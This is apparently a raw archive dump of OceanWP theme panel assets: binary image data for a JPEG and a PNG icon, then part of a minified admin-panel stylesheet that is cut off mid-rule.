{u2¦{ŽÏÐl0†pÆãm}]ÿ"¾,mÆ%I»r{ÈA9èoÔçéAFŽø+ÔJ¨£–øý·õmÝ‹½í¡¸bKöŒë“ƒ‘Ë»µB˲^'4êb>§qJQ/­ËjåL‹ÑÞ¸’& z¬šF1õûW{%hU³§8ûïö¢®`Dâ$Å‘‰oƒže\‘¿–‡‚>ÚúæhÉìãí”ò°`žvÿ)ªÙ«_[#6©ÑÑa´Šþðð'vm+ŸeÏ­.‘þNç$z[}ô€ã« ï½y¾¸‚,êÔ™_â© U|\µÄ׊‹¼PË=2¤¾Œ=«lQ“^׫ù}0•5hW[ècáŽҹÇ=:/µ$³»76ÈnÖI&`Û~érO°Á­áëiqÌ¥ch‹J3¾Owò4«†ÛÈÚÖPbhnX.AÝ4¸Ï¸ÕÛ ‘ÒÒáWîeNÕ¸É[‹Û‹m*>¢RøÏÓIö¥\vÙbI;1˜ÙŠj_Ýüɦœ@|·Åi*÷atž2<ÓÚ–†fžÔÌ·Br ܶQ—îjqZÒ×_!Ë– Ãm–ÚúЀ2G$ª7Ó¤±oÌ¥ ñ¹o…’I;Ó,X>#Q ?ëz¾Lò]K݉#Ñþ¦|û {Ôø¤š¸LÈ2’¾Ž@÷úWR”–H¿zúù•»É¤KÖhÔ°Š#}óª$¸’å&µvä+€FÙ#oA´ÉíÛÿ48˜„iòÔ[ïƒEpžÇ%ã=œ èʽ6ԇϽ?6Vû+.*èÖ]¢9œ®ý w ƒÏÚ°Sì¤|À«‘€ÛÏQ‚òf<3±|Ág}ùáXÈÑ6ŒZúÞW`k§=n]½«Ã–6£»íõúNÇ—ÈÞ<®'û¸¤.òW’@ád}Q(Ç-‚ÿ”¥=º¸GáàÄíX‘žy$÷¤–÷K%¯‹-³vjǯxþ¤V}>¥Òïû”÷ ¹8n‹XwŠô‚:„À•,ãœ:ëwuΕi#Ës#Ø ýjô D¶$GH„$øhQú–£.¡xˆÛÛÆáYÂõ,̽°™Ì×(O÷2O‚3øSóËVjm^û>ß‚[QÃRûáxR} =£“°nö>Õœ´à-uÀ—‚4K×JHÅqå©WÚµ‰oý£ðò[ÄíÏ…Ï4qŸ¦½K†¸šyX6…+ÚØR~¸Ç½,}LñÆI>ïðúýŠÙÒeã‡ÆÐD£H ùß»£ }X¯½GƒXÚ£Áo6°í$ v'8ÇšŠ:`d†7ìÂ6°QŒþ‘I®'ìø±Fl5¸ 9î_Ëó®(JY•'T=¹±Žê+xåÙ­®?Ýÿ3÷ª8ŸXå‚Hc ‘.<3 ?bsE®‰a‚E‘ݣ˵M ãè=Í[2h–rìD‹y¤d{”?ZÅd”Z߃D¬«Î-&M1Ü,@ãüJAJåü+qe1@V(˜ ŽHF0}H÷ ŽÚD˜1.¡ŸƒöôÞÖ(nnÝÈßXHÿá¹'ôúÖ9&ã=^ïèê‘àV $¹pD× .ÛgGäFþFp»DŽ8,dËöàþy4 ‘ü¿ F]2ÏS¤³§Z*ye^$ÔºRuP:B“÷ȧ–RÈùå×ì@ÐÚ%ÕÕ•ÊB½¢\jrá_õ`)uýº|ô†áŽL*¬q¿z=<¼µô©ÇvÖeÙK“˜ÙzD0ûgéCüK#Çw+¨(ŽûîNqõ;WN5=u{Wïý™IÒ+¿á°ÏòÖÊEœÐ*(<÷ ŸNcê(þn'r$'Da!P…»Cü«¼/ò!‹jcɳú‚ÿ6:Qœ öÉ٣6I(8ýnÑ]Ñh~KŠß\3ërˆJ“È,ŒAë'ü´o1Ç%¼’&§–l¡Ïᙯ½WŤ oìËÜ E L1Œ!AüMvb´‰ÕI ’¦y`å~øS\ÑÕ–qo¿ñýå¥4‹b¸{ë w®cy4Ÿ̤õU°XÀQûPZ2ëª7^X@1î£ë½O#CÀ 3¨íQcL‰¤Òsþa¿Ö…·½–ó4‘ª¬æ@ .Àãm_|Ò–¤ä¡²NƒŠ°®!À`o‡eáÌ€™õ`®û1ý×5h­¸ÀŠ6ÜJ y•8?eeôò:4’°óQ­@ûƒY»yå¸â“Ü2“Ù¼…[gàšXÔç©íÏâÿðs•ºC[éT;äs ‰qìæ›Éâ’S"Æ6±âŽtýÍvþ^Ìp’q™Òذ<¶e\cüÔw7Ãä”EÌ ,xX¿Žk Ù'¢2oTm°Xåì>qØ‚X3‚Ns°?Γ=š{XãL´Ñ†,6:•ýõjl%I/ÞtU“·< @ú)ûÐm•WÃ×r+$ZC0Œ¾ǾGÝ…qäÇ)BWؽJÓdx¯hx«E! ,å½W´5Ä’o“”̱`ž§ ÷cŠÆüOÄɽŠtïv’I&sÈ<¾«N>Ôœk†ZîtbFÁ€f#Z€ö¯B}$a‡SæŸåv`¦ÜÍI¶kÎ7j[´¹} ‘·yãÑ «Õa°n°¶U¦s ÆK)$}^”‹Ç…a…Š‚¯¶ê `zh›û˜–9þd@2g!öÅq8J[?»¿èo­S(¼¸fµ“(g~%ÈÇÛò¦÷¶â~'nètË,ÆfÆÀ•úi ì)5Ó"%Ä‘w•Õ3¸AÀÿ¤Ñ—WLœZÍËg2KôjüÚ‡qGú R¥Le$븒QÝù@'¡*Þ“%—oÄaŠ\êFUAŽ:Ÿÿ‡íG_b·UžkÇ< óä(Nuâv“ë$™YI' 'ý0~µ8“Œ\ãÏ×ö6÷Üu%ëÛØÍ£ñ ÉòÁ+ÿðɨÚ@fHï';E<÷–#Û#Úƒš œ¸íYJÁ’7l±ÉðÝ€õ>UØî>_MrЏç¥I'ì¤ ÃFÞÇv;®@¸eè™fu‚46(Ó ¼p²Õ€òß—Ù,GˆC $Å<ÒUÊGÖ˜ßÈBpËl`Ê9Iþ)¹>ä×fE|wßõ2UšTÅ ì± (-šÝFx1\ûYHå{9b[€ÉÚ8Hã=2‹“ä}ýëM~†æÎAlØåC~@1?@A÷¬¯Äëó?ðDˆÎæáÕ‰ÀÛX‡†3ô®^‘jm>÷ù+5•´_KmÁíï1¥e…—$îcù€>”Æ%Õñ,R÷Aé¾§È5`Kèd…œ5±¸‘À餧j6ÿ/Þª±âI'7,¹{‡`Š dÒ?çÇ 5£‹’uÎÿŸ¹­ÃsÚqË‹gR²L6ÈÎ=´µ=Ä2]J%Žˆ€»¸ÇéY®¤“м¥€3‘d~—bÞÄS('-Ç…ºä†žqÿR~ËXeÁn½ßÀã’˜gÄW;i­ TÈr•Èú‚6ò5΋kkgeÊc—$l‘þZA7’[^!!%î!–AãÄ©Ëôâðj¼à¢ƒ Z ºd ÿ튵…㊋÷þ;Xj»¢Ëc<ÂB]&Tƒœ2°SîO¸§\`Gn—“¦ï$ÅCl~x¥Bù5j,[üM’ìßB÷¨ßñù5•!.RLe “ô²”5Îׯï°Ó­l'GáötÃH‰„„sm!sõ;©¥œUe¹áët Ƶ‘»ß¼`ýÕÝéŠÒÙ ° Ls͈ OÜ×Ò? XÅÌ’ÀNˆˆš0>ÍþªôqcÑ-^ÿä•%$Ñu¬’ÜÃhXymû#åÝ”ãÝ£þ-„µB Ê±F[lÞÔGÓ¼h2³\=’Ä3!Š 1ËÄ™?z?¼w/Péì»P®§`ÊÄ+{‡>•œÿýaè™öYf׊Ûð‹q‰–h•ÉèÇÔkW$pÅÅ&F…JËfŸ$;{¿'" O>!»$†UHß´“ùUÏ_Er[µ5)© mþâ±Ïyqî¿6“4KGÌ 8'$ë’C;.0T¼z°} /—Œ$|&ýÎÜÛÄc`ãíœ})OÅ|Ry¸i¨50êÌ~íÊ ©nl#´Œ¯h!Sœ†Ü÷&»ptzàœý{1žKm£]Ë-×ΟÙÌùÉT_Ñ…iaò¶2#ƒÛ¸ƒŸV ý‘ô£øL¨Q-Xík,Œñ’TþxôÅ"¬SñêxÝ¥\ô$ŸlÔ9ù^Ê_I}ÝÎ[Ÿ™ü»ºi·Xrß…´>A'¦“àMF{rxÄñ±Uý›‘âÁœƒõŠŒP†´H´È!Xâyœ5#d}I«8{9oÖWRÈ!BGB¸?žk-ê?[¢ÛîË8„Áp C²Ï,Ç/MT½]­­oæ$¡AQ©†~ùö¥×w}µØŠ6Ïm"Ê0ysaŠ&Õ?µ8e؈¹–X•C3wAÓ¶ØÿZÅ¢+W~¤+“±¹wá&uUêr>â›kñ;hÜ®›‡y õ:° >[jUkiý›Äà’i•ÜÆ‘E§>ŒØ=çëAIu$·÷w;êŠ)BçÇScí]/ Èýž(Ž|kÅ%ŠÕ>\þÖBÿ!5i»í\LÔÊp¾CS~rRÉ ¿<.YlzH ?MuG #1•‰Q„ë‚ê+XáŠÆ£Ý_×ä ì6»¿I¸Å­¿7(ójê¹Èü˜ûVgq2È )¤»Ïr>À{S ­ÜqלwYmÙ ðcqî[ý4’P“<²ÃeŽ£…_³½utø š~ïÖÿ{ò4¸½ðÛKqÒ,¤ Â’«±÷«lôÝXÛÅ+ Fàç<ñÏõ«ƒ,ÒYÏ;ê*"%áU{ÿÓ\ᓼ³(ÁŒÈáIÿ‹?­VLTš)ˆçU1VwW|e†ú‰òïDð1pœNk‡%b’tÃsÊúl}èN3ÛY[ë8™l2Üð9}É«8GÓÂäNb.OšÏ¥jÓx½û¶?ÿÙthemepanel/assets/images/help-center.png000064400000012616151551031110014350 0ustar00‰PNG  IHDR<<:üÙr pHYsÄÄ•+@IDATh•›{p\å•àçëV«%ËòKj™v«m„pda$YrÀx<8°YHÍðʤ*K’@` ^–e³ÌTФfw3Ù)*lB2.<& à&{ 0æeã8È–ä—²°ZÛ’l,Y–[ýøÎþÑ­öíÛ·e8U]÷ñó÷ùÎwïm °Ù£Éž»/zïøšë̹ñóëV"øA²Cê˜.{O5%p°rÁœ]¡ÝoÚYx8a6óõHä’/]ÝÚ`¨ºŠ§·¼8ùÖÛ»+‰ä÷Až?9Ø1é1iîX]Û}j:¹~ÄjȪTŒO•TêÒé ?j*G•ÐSñÔúPxUÔa8/#æãä`G*•<¿WU D¹cñÒU ‹ÑŠkÀÌ«¾Ü ι³¢bÎî½ûöЗo¹7ßÙøùæ8ybô‡ ?ê˜$?Bl$Òhøý*R܃òÕ•~SùWÁ@ðrcö z !™ ¢dNüÀ²k¯z<žŒLÛ Ð—DØlUúØÔÄÀwAu:ÈÔÔ4­_îCdƒ¢¦§§~ýÉèG)—nÆçPX‰F× %ºÂçóm¸î ×´}å¶/qêôþñ[µ¯¯ÿ_UøÑèPçé,~N€ªp³¨˜ù ò#  å¥VŸï·”øR>‘:DÂ@$Œ‘0"‹Aó‘íéô#½Ö&AnEå&à¬AæÎ]2}îìqwêÍØLÎ;içλdøœ Í>àÀü¹KÇΞÒ,Nn·”W9z6hŒ\×Üð'kÚ˜7¯’gý/öÞ¾+òãt pÂÔ,i6"¹¸S‘]FôÉEsÏéL=;]»bŊݧ&KþI‘‡~ ÈåŠÝRiìð*z9Ÿì8Š´l}¸6)É>À¹T®»Š­/ñûnmm¾¢¼uÕJ>h?@gבx|:±ËÁOŽîMá(Õáf,áA૪l•ïŒ t~päȯíœû‡S #GŽØ‘®°<¬ð ÐÛ}P”pux|ïRZÞQäEn´jëÜÍmѪm Ò¸¸&´vuÛ•TÌ)§}ÿÞ­¢;Ɔ:&4D"£ó¹GáÏ6âóÿtthÿi—0ÖÅϸy»îS1?Q‘MÀ-÷XcçWÖ®,ÛI7r|ÿ¢oA›…›ò¢8Ïê„D亥Ñ%MW4`­µóæÍÝ+F6":Ó#ç„Oà÷[¸ ¸S•çTüÏŒÅÚ/¶–ÎÌ‘ÛÁï±Ωý“ ÿ¨Ês w üYŸÿb´*²ˆ!²ÞròÏÅcc£C¸²²âú††ËX¼¸š9sÊGî½ë?mÚ±ýÙíc±.§"6Så!Ev æi‡²îuЫ¿­éÉÁ©Ž)±ú4°[à;ÆRw1Ú±j_ hZÂK—®ÏÉ’c TfyÎNÛÞ° ,?o'3ãæøš/šÖ.û~I ¾suhÁ›6¿­¨H¤Âíí^)R@{dùÕ`Ä‚ã9“ ^9åœ(w޷ωפ\cî†`6O{å¶—¡sGUH5|¸;ñis0[¸y| (¦l±\uÒ9Ï­ëÜÊ…½Ýg£uì /jż>¸—”‹ ÷ijò^:~6Ú<áfój ÷¼À+÷½xyy¼XÝÈ\_ðÔg§Í‚ÿ"DÎÉsÇá¶631Y ÿ! ;lgí“]<ÜF-º^+ø»?·6PY1 g:ªOM Ž·‡"²ð£+ÖXEü¢êW¤è²4× ñi%HjAø답§³·|e3¼êŒOo™Š—Lô^qM\õÂò#¢©Ìµ¤@S*’4•NS53¯?3(Æè†,ƒ DÊ%¯ñÐLÓ¡T4€ˆQ «­¬óK¥¼ÚË-QnáÆMÂÞ>kïZ ¦)$2‚ª!³ÁO Í¿)`Ò Hò#æ° ;Ï+õ¦u9U ¢-­Wb‚AËØé=vÿwHL“¢L)L¡L½O­ß¯éû" .¥ÜЏÁíÙÙ /<O¾xܦoÿ¼Ï÷Ì}Á’÷€rÈ´’ ª2G„rTËSP±/•¾ÐZ ;sØ_9¯lÏäøÔo$R¿L¦X }»î›_£ªj¡ºEdc4u6$6^Õ¥>{ûAôæúúúݽ½½Ng«Îî¼.¶>ç)[__ïßOÞ 2q$•ÜøØÑb³Ñ. 7…O~5OL÷ÝÿS·”ú'+ç• šÅ»ß´õ‡Þ?ö÷Ó‰Þ«¿?yzÜíëGUê(ùEÀŒ ï/Ü61]ÞRÄ;î.Ö‰9ÁË`f">§¸MT·žìŒ]Œ6aÌʸJÕˆÚ÷ÿ~:Ñ{ù¡÷c‹w¿is“V–N%zÆN>vðp}iPÕ†îîî"U6£L¨ÊCÕáfg‹Y Š5!nœ<¨Š^Y¥ðà4°å¢´mmW&Pzç–žK¸…§··«:<>1ùNwÏQFFǪ€«ËÊÊã‘¢Ú< ¬UÃ}‹jWUïÍb9íՂ⢰ #Íå¨ù6°FáIkè»mÕ Ú@:v¤[~5LcƬêÛ÷Muèž¹¿Xî!0%šLt;ð¼À×½wQmKEÅ ¯‹®<-Œ4W¸W”;€gUôÕ¤X÷ÃõZ»tªïZkGÆÈÏÍÓƒõ T»NœÙõÇö.NŸ>CVÙµýýýó¹—`hè0V}gP¶ˆ²]T7ˆÕÿ^UÞ^ÝZQE!ÆFø€ß‚nñ©ž`6ÚÐ’Ö*A®b ]§†»RN£—-–Þd"¹­£óP|_Ç!4³MD5³îåÁèÐ~kÐaÍ„öVîÃ¡Ú¦ÖÆÆF÷‡oNƒ¹•·dª± EZV‹õýX”»A¶¢ò3‹<àeÀ<' ö Š®x݈ésË;óÈ3çi“6q»spèÄŽ÷~¿÷¦ —±$¼¸ÁZû•þþþ^`$˜“C]¶:Ü2hÄ>i‘£ÀCм8zÖÿ›¯_Úºí{ÁÀ~‘5ˆÛÀÙ·%ŠM¡{~8zñß§“7·gþFÑWš3§†öCaÞæå{MíªeŠÞŒÒ§°³”Rçûj ˜‚oT×ûKÊæÞ9·bΣ÷}ëöÅqë”””œîH§Óo\vÙeÎ<ÊM‰4’ ÄÑ:¬Ü£p{æeZIp¹1{ŽIöešCçìË4½êñx"~0¥¢ºØb }I±©lÏ 55MÌË46(úh2qî×ã#G *¾[a‡µš*òýK—Õþׇ¸+°æªV|>sPDî())9xÉ%—Û÷΀š%MÑoÜð+$Üï'½ýÒÃÌÛ¼iXð™ôM£ªOý&‘zæÙxbãÉ¡®˜C¯žǹ Ešý 7§Â5þGOõ·»?k²pá €89ÐyÆ¢/ôØñò+¯¦zzûH§íJU}$™L†c±X1Zg¨Çþ²´ä½È¤¿Òç~B¼9çSFt2ddä¾`É{YegÝâ9xPS»ÊOæû ƒbyáTûéb´î†"¯ Œ tv lúýûí/ýó«v`p˜tÚÞÜOfžmG4“3å(ñÚ={ ÖÌp{;ªÄQ¥œ|Oº‹RÞ:¾(Úl¬j=È U‚nê옶Ø2‘C,%ø;ÙøêïÞî~ñåmöXlt:ý=U}°¿¿¡‹¦`—“U8‘}šˆ †gö©cÖ8ù8^`kjWc¥^Ñ-¬FØX<÷ÆÅhÝ.èŒ÷¤’’­ªög¿ùíëÝ[~ùOöÀ¡M:m¿ü—X,qÐlU´Ñ„ˆ8 »Kñìu§\^¸„"Í~UÛ"ð]k~–. ¼ÔÛÛ[nÚby˜W|N÷îÛó‰gPùÑ¿ïØµï6=›Ú½§Ý$Éï«ê#ýýý­CCC^ PAfoêüœÈ½.§ÈD³K¨«©i d ÔmÑÇliÉÌ7Z³Ò‚÷ñžÍýèèáÄÒ¥ë}ž3§÷wº|âì CÃ'‚ëÖ®¾wIxq}*•Ú‹ÅvF£Ñ™ê8£ôœŒÂên /ðÌ,U‰,nñªi©³ª7w+2(è*KϽÑÛÛyÑcæÚï…JÀf?úÚ^i<Ö?Ðóô3[ÿóáîÞÅëÖ~þú–¦ÑPõ¢Wúûû·‰HG4ÍXòÑ -Í «š¯øo —¯Fï;vì UíNÿù×Êõ‚žÛCE²ÖòÜX[U£é¨¨®®CY­hŸ¢ª)Ù>6Ð~æ"r;!g€b ç!y)~¢ÿ™yÕ—=(­ø```øõã'FoÞßqxݲ¥K®]4Ö-«ýó†å—~¹¼nµéí;¦<ìœ;kM‰TD–4‡ãH'Ó«Ú€e@L`³ÂÎdâ\w¶ƒš-Œ)víüσ[1/oä <>z4µdÉÕ‡“6Ù—H$wƆš‡Ž_×u û UU Ö-(/kýæØ˜¿é¦ÐÃÎz‘¦ÚÓöz1<'ª HÊË ]"¦¯”ÒøèH§§Š8¨@ùÙþÆã>wâÍÜ3CC°dž^nêQeçøøÄæññ‰å!#ט²’›Ä盤ÐÃ< ¤P&KÁÎ3Ò=mõ÷(= '¬êHv‹çÏ5pöÞUÙCéb“Œ×××›³ÓsU¨¿1à{¢LèS‘§ߨ…ÏÉD²Ÿ•¥«DõþóJÝë‰ôÃ'½s箃ÅÀ«Þ¸[Óˆщàö,EƽprÐÓpu#› ÿ¨U´e'V7,ïþÃ`g“ï3å°{‘ö:÷ìÄ<ÉçÎ/>7~þ1U^Ë|"<¹/-·RçÌ/vÜ-ÆÏËȳåpîúÿu|z| á~IEND®B`‚themepanel/assets/css/theme-panel.min.css000064400000054742151551031110014460 0ustar00#wrap{margin-top:20px}#wrap>h1{display:none}.oceanwp-tp-wrap{margin:20px 0 20px 0;overflow-x:hidden;max-width:1220px;min-width:850px;display:block!important}.oceanwp-tp-wrap .btn-primary.disabled,.oceanwp-tp-wrap .btn-primary:disabled{color:#fff!important}.oceanwp-tp-wrap div{-webkit-box-sizing:border-box;box-sizing:border-box}.oceanwp-tp-plugin-item,.oceanwp-tp-wrap a{transition:all .1s ease-in-out;-webkit-transition:all .1s ease-in-out;-moz-transition:all .1s ease-in-out;-ms-transition:all .1s ease-in-out;-o-transition:all .1s ease-in-out}.oceanwp-tp-wrap p{font-size:16px}.oceanwp-tp-wrap a,.oceanwp-tp-wrap a:active,.oceanwp-tp-wrap a:hover{color:#606060;text-decoration:none}.oceanwp-tp-wrap h3 a,.oceanwp-tp-wrap h3 a:active,.oceanwp-tp-wrap h3 a:hover,.oceanwp-tp-wrap p a,.oceanwp-tp-wrap p a:active,.oceanwp-tp-wrap p a:hover{color:#007bff;text-decoration:none}a:not(.button):not(.btn):not(.top-bar-links):not(.banner-button)[target="_blank"]:after{font-family:dashicons;content:"\f103";font-size:13px}.oceanwp-tp-header{background:#161d30;width:100%;padding:15px 0 15px 20px;border-top-right-radius:6px;border-top-left-radius:6px}.oceanwp-tp-oceanwp-logo{display:inline-block;margin-top:5px;background:url(../../assets/images/logo.png) no-repeat center center;float:left;width:170px;height:50px}.rtl .oceanwp-tp-oceanwp-logo{float:right}.oceanwp-tp-branding strong{line-height:55px;vertical-align:middle;padding-left:25px;display:inline-block;float:left;margin-bottom:0;color:#fff;font-family:Rubik,Sans-serif;font-size:25px;font-weight:400;margin-top:2px}.rtl .oceanwp-tp-branding strong{float:right;padding-right:15px;padding-left:0}.oceanwp-tp-theme-version{float:right;line-height:55px;display:inline-block;color:#f0f0f0;font-family:Rubik,Sans-serif;font-size:16px;font-weight:400;padding-right:25px;margin-top:3px}.rtl .oceanwp-tp-theme-version{float:left}.oceanwp-tp-container{border-bottom-left-radius:6px;border-bottom-right-radius:6px;overflow:hidden;position:relative;border:1px solid #e5e5e5}.oceanwp-tp-sidebar{background-color:#f0f0f0;border-right:1px solid #e5e5e5;width:215px;float:left;height:100%;padding-bottom:50px;position:absolute;left:0;top:0}.rtl .oceanwp-tp-sidebar{left:initial;right:0;float:right;border-left:1px solid #e5e5e5;border-right:0}.oceanwp-tp-sidebar-list{display:block;list-style:none;padding-top:5px}.oceanwp-tp-sidebar-list-items{margin:0}a.oceanwp-tp-sidebar-link{color:#212121;text-transform:capitalize;display:inline-block;text-decoration:none;margin:15px 20px;font-family:Rubik,Sans-serif;font-size:18px;font-weight:400}a.oceanwp-tp-sidebar-link:focus{text-decoration:none;color:#069fdb;box-shadow:unset}.oceanwp-tp-sidebar-link:hover{color:#069fdb;text-decoration-style:dashed;text-underline-position:under;transition:all .3s;-o-transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s;-ms-transition:all .3s}.oceanwp-tp-sidebar-list-items.oceanwp-is-active .oceanwp-tp-sidebar-link{color:#069fdb;text-decoration-style:dashed;text-underline-position:under;box-shadow:unset}.oceanwp-tp-panes{background-color:#fff;float:left;min-height:750px;padding-bottom:50px;position:relative;margin-left:200px;width:calc(100% - 200px)}.rtl .oceanwp-tp-panes{margin-left:initial;margin-right:200px;float:right}.oceanwp-tp-panes.loading-pane{opacity:.7}.oceanwp-tp-pane-box{padding:49px}.oceanwp-tp-pane-box:first-of-type{display:block}.oceanwp-tp-pane-box>h3{font-size:26px;color:#343a40;margin-bottom:20px}.oceanwp-tp-pane-box p:not(.oceanwp-tp-block-description){margin:0}.oceanwp-tp-message-heading-block{display:flex;align-items:center;margin-top:30px}.oceanwp-tp-block-outer{display:flex}.oceanwp-tp-pane-box .oceanwp-tp-wide-block:not(:first-child){margin-top:30px}.oceanwp-tp-wide-block .oceanwp-tp-block-outer{align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;padding-bottom:20px}.ocean-tp-heading-image{margin-right:25px}.oceanwp-tp-message-heading{margin-bottom:0;color:#212121;font-family:poppins,Sans-serif;font-size:22px;font-weight:600}.oceanwp-tp-large-block{background-color:#f4f4f4;box-shadow:2px 4px 6px -4px rgb(0 0 0 / 50%);transition:background .3s,border .3s,border-radius .3s,box-shadow .3s;margin:30px;padding:25px;border-radius:15px 15px 15px 15px}.oceanwp-tp-block-inner{margin-left:15px}#oceanwp-tp-changelog h3,#oceanwp-tp-customizer .oceanwp-tp-block-title,.oceanwp-tp-block-title,h1#oceanwp-changelog{margin-bottom:10px;color:#212121;font-family:poppins,Sans-serif;font-size:18px;font-weight:600}.oceanwp-tp-wide-block .oceanwp-tp-block-title{margin-bottom:0;color:#212121;font-family:Poppins,Sans-serif;font-size:22px;font-weight:600}#oceanwp-tp-admin-settings .oceanwp-tp-wide-block .oceanwp-tp-block-title:not(.main-heading),#oceanwp-tp-extra-settings .oceanwp-tp-wide-block .oceanwp-tp-block-title:not(.main-heading),#oceanwp-tp-ocean-elementor-library .oceanwp-tp-wide-block .oceanwp-tp-block-title:not(.main-heading){font-size:18px}.oceanwp-tp-small-block{background-color:#f4f4f4;box-shadow:2px 4px 6px -4px rgb(0 0 0 / 50%);transition:background .3s,border .3s,border-radius .3s,box-shadow .3s;margin:20px;padding:10px;border-radius:15px 15px 15px 15px}.oceanwp-tp-small-block-title{margin-bottom:5px;color:#212121;font-family:poppins,Sans-serif;font-size:16px;font-weight:600}.oceanwp-tp-block-image{width:42px;height:42px}.oceanwp-tp-block-image-small{width:34px;height:34px}.oceanwp-tp-wide-block-image{width:60px;height:60px;margin-right:25px}.oceanwp-tp-block-description,p.oceanwp-tp-block-description{color:#606060;font-family:poppins,Sans-serif;font-size:15px}#oceanwp-tp-useful-plugins .oceanwp-tp-block-description,#oceanwp-tp-useful-plugins p.oceanwp-tp-block-description{line-height:1.5;min-height:6em}.alert.oceanwp-tp-block-description,p.alert.oceanwp-tp-block-description{color:#bd3434}#oceanwp-tp-home p strong,#oceanwp-tp-install-demos p.oceanwp-tp-block-description,#oceanwp-tp-integration p.oceanwp-tp-block-description,h3.oceanwp-tp-block-description{color:#606060;font-family:poppins,Sans-serif;font-size:16px;font-weight:400;line-height:1.3em}.oceanwp-tp-banner{background-position:center center;background-size:cover;transition:background .3s,border .3s,border-radius .3s,box-shadow .3s;margin-top:20px;margin-bottom:20px;padding:50px 30px;border-radius:15px 15px 15px 15px;box-shadow:inset 2000px 0 0 0 rgba(33,33,33,.7);border-color:rgba(33,33,33,1)}.oceanwp-tp-banner.help{background-image:url(../../assets/images/banners/help.jpg)}.oceanwp-tp-banner.gunetberg-blocks{background-image:url(../../assets/images/banners/gunetberg-blocks.jpg);margin-bottom:50px;box-shadow:inset 2000px 0 0 0 rgb(33 33 33 / 80%)}.oceanwp-tp-banner.elementor-widgets{background-image:url(../../assets/images/banners/elementor-widgets.jpg);margin-bottom:50px}.oceanwp-tp-banner.elementor-library{background-image:url(../../assets/images/banners/elementor-library.jpg);margin-bottom:50px}.oceanwp-tp-banner.ocean-images{background-image:url(../../assets/images/banners/ocean-images.jpg);margin-bottom:50px;box-shadow:inset 2000px 0 0 0 rgb(33 33 33 / 80%)}.oceanwp-tp-banner.install-demos{background-image:url(../../assets/images/banners/install-demos.jpg);margin-bottom:50px}.oceanwp-tp-banner.admin-settings{background-image:url(../../assets/images/banners/admin-settings.jpg);margin-bottom:50px}.oceanwp-tp-banner.home{background-image:url(../../assets/images/banners/home.jpg);margin-bottom:50px}.oceanwp-tp-banner.useful-plugins{background-image:url(../../assets/images/banners/useful-plugins.jpg);margin-bottom:50px}.oceanwp-tp-banner.white-label{background-image:url(../../assets/images/banners/white-label.jpg);margin-bottom:50px;box-shadow:inset 2000px 0 0 0 rgb(33 33 33 / 65%)}h1.banner-header{color:#ffb100;font-family:poppins,Sans-serif;font-size:25px;font-weight:600}.banner-subheader{color:#fff;font-family:poppins,Sans-serif;font-size:17px;font-weight:300}#oceanwp-tp-home h2.banner-subheader{margin:10px 0 40px 0}a.banner-button{font-family:poppins,Sans-serif;font-size:15px;font-weight:600;text-transform:uppercase;color:#212121;background-color:#ffb100;border-radius:8px 8px 8px 8px;padding:12px 24px;display:inline-block;margin-top:20px}#oceanwp-tp-help a.banner-button{margin-top:40px}.oceanwp-icon-check-solid{width:16px;height:16px;background-image:url(../../assets/images/check.svg);display:inline-block}.oceanwp-tp-pane-features{margin-top:30px}#oceanwp-tp-home .oceanwp-tp-pane-features{padding:15px}.oceanwp-tp-pane-features li:not(:last-child){padding-bottom:4px}.oceanwp-tp-pane-features li span{font-family:poppins,Sans-serif;font-size:16px;font-weight:500;color:#fff}.oceanwp-tp-sidebar-link.oceanwp-sidebar-item-colored{color:#f23c97}.oceanwp-ct-legend{display:flex;align-content:center;justify-content:space-between;align-items:center;flex-wrap:wrap;padding-bottom:35px}.oceanwp-ct-legend .legend-cell{display:flex;align-items:center;align-content:center;justify-content:center}.oceanwp-ct-legend .legend-cell h3{margin-top:0}.oceanwp-ct-legend .elementor-image-box-title{margin-left:15px}.oceanwp-ct-legend h3{margin-bottom:0;font-size:16px;font-weight:500}.oceanwp-comparison-table ul{margin:0 0 50px 0}.oceanwp-comparison-table ul:last-of-type{margin-bottom:0}.oceanwp-comparison-table ul li{display:grid;grid-template-columns:3fr 1fr 1fr;padding:15px 18px;font-size:14px;align-items:center;margin-top:7px}.oceanwp-comparison-table ul li:not(:first-child){border-bottom:1px dashed rgba(226,230,235,.7)}.oceanwp-comparison-table ul li span:first-child{text-align:left}.oceanwp-comparison-table .ct-table-heading{position:sticky;top:50px;border-radius:3px;background:#f0f0f0}.oceanwp .table thead th,.oceanwp-comparison-table .ct-table-heading span{color:#212121;font-family:Poppins,Sans-serif;font-size:18px;font-weight:600}.oceanwp-ct-legend .oceanwp-ct-legend-heading{color:#212121;font-family:Poppins,Sans-serif;font-size:18px;font-weight:600}.oceanwp .table td,.oceanwp-comparison-table ul li>span{color:#212121;font-family:Poppins,Sans-serif;font-size:16px;font-weight:500}.oceanwp-comparison-table .ct-table-heading:before{position:absolute;z-index:-1;content:'';top:-31px;left:0;right:0;height:30px;background:#fff}.oceanwp-ct-remark{padding:10px}.oceanwp-ct-remark.footer{display:flex;justify-content:flex-end}.oceanwp-ct-remark h2{color:#606060;font-family:Poppins,Sans-serif;font-size:16px;font-weight:500}.oceanwp-cancel-icon{width:32px!important;height:32px;background-image:url(../../assets/images/icons/cancel.png);display:inline-block}.oceanwp-tick-icon{width:32px!important;height:32px;background-image:url(../../assets/images/icons/tick.png);display:inline-block}.oceanwp-limited-icon{width:32px!important;height:32px;background-image:url(../../assets/images/icons/limited.png);display:inline-block}#oceanwp-tp-comparison .oceanwp-tp-small-block-image{width:64px;height:64px}#oceanwp-tp-comparison .oceanwp-tp-small-block{margin:20px 20px 20px 20px;padding:10px 10px 10px 10px;border-radius:15px 15px 15px 15px}.oceanwp-tp-switcher{position:relative;display:inline-block;width:60px;height:34px;order:1}.oceanwp-tp-switcher input{opacity:0;width:0;height:0}input:checked+.slider{background-color:#256077}input:focus+.slider{box-shadow:0 0 1px #256077}input:checked+.slider:before{-webkit-transform:translateX(26px);-ms-transform:translateX(26px);transform:translateX(26px)}.slider.round{position:absolute;cursor:pointer;top:0;left:0;right:0;bottom:0;background-color:#ccc;-webkit-transition:.4s;transition:.4s;border-radius:34px}.slider.round:before{border-radius:50%;position:absolute;content:"";height:26px;width:26px;left:4px;bottom:4px;background-color:#fff;-webkit-transition:.4s;transition:.4s}.oceanwp-tp-wrap .btn,.oceanwp-tp-wrap .button,.oceanwp-tp-wrap .button-primary{font-family:Poppins,Sans-serif;font-size:14px;font-weight:500;background-color:#256077;color:#fff;border-radius:5px 5px 5px 5px;border-color:unset}.oceanwp-tp-wrap 